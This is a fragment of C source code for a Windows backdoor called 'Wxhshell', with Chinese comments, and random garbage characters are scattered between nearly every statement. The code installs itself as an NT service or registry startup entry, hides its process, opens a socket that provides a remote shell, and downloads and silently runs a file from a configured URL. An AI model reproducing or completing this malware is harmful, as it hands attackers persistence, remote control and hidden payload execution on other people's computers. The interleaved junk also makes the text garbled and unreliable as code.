~D_q B`Z3e%g# CloseHandle(hProcess); 0#9H;j<Op wKLYyetM! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e{@RBYX@+c if(hProcess==NULL) return 0; ea"X$<s>- 1hY| XZ%qd HMODULE hMod; | J3'#7 char procName[255]; 7h}gIm7e" unsigned long cbNeeded; IQ@9S S>0%jCjW if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =^rt?F4 lc[6Mpi7s[ CloseHandle(hProcess); nsRCDUCi xqzeBLU if(strstr(procName,"services")) return 1; // 以服务启动 M; wKTTQy l.o/H| return 0; // 注册表启动 1~c\J0h)d } Dj(PH3^ bRxI7 ' // 主模块 Ze~P6 int StartWxhshell(LPSTR lpCmdLine) Uv(R^50> {
22ON=NN SOCKET wsl; ZPmqoR[ BOOL val=TRUE; J:N(U0U int port=0; <"5l<E struct sockaddr_in door; P+o"]/7U G0UaE1n if(wscfg.ws_autoins) Install(); {P8d^=#q 4{YA[' port=atoi(lpCmdLine); lH4Nbluc^ x(TF4W=j if(port<=0) port=wscfg.ws_port; (<eLj Q %=UD~5!G0 WSADATA data; iAk:CJ{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9jTBLp-i#N ->b5"{t if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o'#& =h$_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S&`6pN door.sin_family = AF_INET; 6kH6" door.sin_addr.s_addr = inet_addr("127.0.0.1"); jg710.v: door.sin_port = htons(port); tTy !o= 5v)^4(
) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,%TBW,> closesocket(wsl); B?z2@, return 1; 8OZj24*'DS } <-v
zS; m[}k]PB> if(listen(wsl,2) == INVALID_SOCKET) { Ic2?1<I ZA closesocket(wsl); rE+B}O return 1; ;qgo= } 2R&\qZ< Wxhshell(wsl); 7#R)+ WSACleanup(); |#2WN- { LvD\4h" return 0; N:<$]x> '5BD%#[ } 3J#LxYK ty,oj33 // 以NT服务方式启动 KV_/fa~Ry VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =~+ WJN { D5lQ0_IeW DWORD status = 0; irAXXg DWORD specificError = 0xfffffff; \_`qon$9 =\O#F88ui serviceStatus.dwServiceType = SERVICE_WIN32; GOc
serviceStatus.dwCurrentState = SERVICE_START_PENDING; MT-Tt serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F@u7Oel@m serviceStatus.dwWin32ExitCode = 0; <gF]9%2E serviceStatus.dwServiceSpecificExitCode = 0; y!=,u serviceStatus.dwCheckPoint = 0; oVvA`} serviceStatus.dwWaitHint = 0; 1C<cwd;9 `9^tuR, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L!cOg8Z if (hServiceStatusHandle==0) return; ZM.'W}J{* Pf[E..HF*d status = GetLastError(); FH=2,"A if (status!=NO_ERROR) 2`4m"D tA { <+k&8^:bi serviceStatus.dwCurrentState = SERVICE_STOPPED; v$]B;;[A serviceStatus.dwCheckPoint = 0; N{v)pu. serviceStatus.dwWaitHint = 0; QOB^U-cW serviceStatus.dwWin32ExitCode = status; w5%Yi{ serviceStatus.dwServiceSpecificExitCode = specificError; ]>X_E%`G<b SetServiceStatus(hServiceStatusHandle, &serviceStatus); (.4lsKN< return; zgwez$ } 'S_i6K )pHtsd. eP serviceStatus.dwCurrentState = SERVICE_RUNNING; :A zT=^S serviceStatus.dwCheckPoint = 0; }X)vktE+| serviceStatus.dwWaitHint = 0; T`x|=} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y}ogwg& } u9!
? ,P a*; o\ // 处理NT服务事件,比如:启动、停止 b}K,wAx
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2o SM| { &D<R;>iI switch(fdwControl) lbHgxZ { T-] {gc case SERVICE_CONTROL_STOP: &r1(1< serviceStatus.dwWin32ExitCode = 0; %66="1z0@ serviceStatus.dwCurrentState = SERVICE_STOPPED; cyl%p$ serviceStatus.dwCheckPoint = 0; r)^sHpK:` serviceStatus.dwWaitHint = 0; ^QS`H@+Z { jYp!?%! SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]E/0iM5 } tj13!Cc}e` return; 9B0ON*` case SERVICE_CONTROL_PAUSE: JN
wI{ serviceStatus.dwCurrentState = SERVICE_PAUSED;
GLf!i1Z break; ray3gM%JLj case SERVICE_CONTROL_CONTINUE: !6(3Y serviceStatus.dwCurrentState = SERVICE_RUNNING; cB uuq break; q A .9X4NQ case SERVICE_CONTROL_INTERROGATE: AT&K> NG break; JWb + }; =|?`5!A SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,U\s89 } !UoA6C: }t^wa\ // 标准应用程序主函数 5MnP6(3$ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O)q4^AE$ { W![K#r5T !yd B,S // 获取操作系统版本 v5M4Rs&t OsIsNt=GetOsVer(); LSC[S: GetModuleFileName(NULL,ExeFile,MAX_PATH); ga
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P @vl$[Z| // 从命令行安装 <e UsMo< if(strpbrk(lpCmdLine,"iI")) Install(); 5SY%B#;5G _.JQ h // 下载执行文件 :+"4_f0 if(wscfg.ws_downexe) { 7fR5V if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ps<Ef WinExec(wscfg.ws_filenam,SW_HIDE); "KIY+7@S} } :M"+ u !BU^@ P if(!OsIsNt) { LA Crg // 如果时win9x,隐藏进程并且设置为注册表启动 MZt#T+b HideProc(); ;U(]#pW!t StartWxhshell(lpCmdLine); ,?8a3% } 0
P YYG else Cu+p!hV if(StartFromService()) \*t\=4 // 以服务方式启动 QGpj$ _b
StartServiceCtrlDispatcher(DispatchTable); ZH
Q?{" else <W0(!<U // 普通方式启动 ZN}`A7 StartWxhshell(lpCmdLine); A;d@NOI#,K <SNr\/aCRi return 0; +ayC0 }
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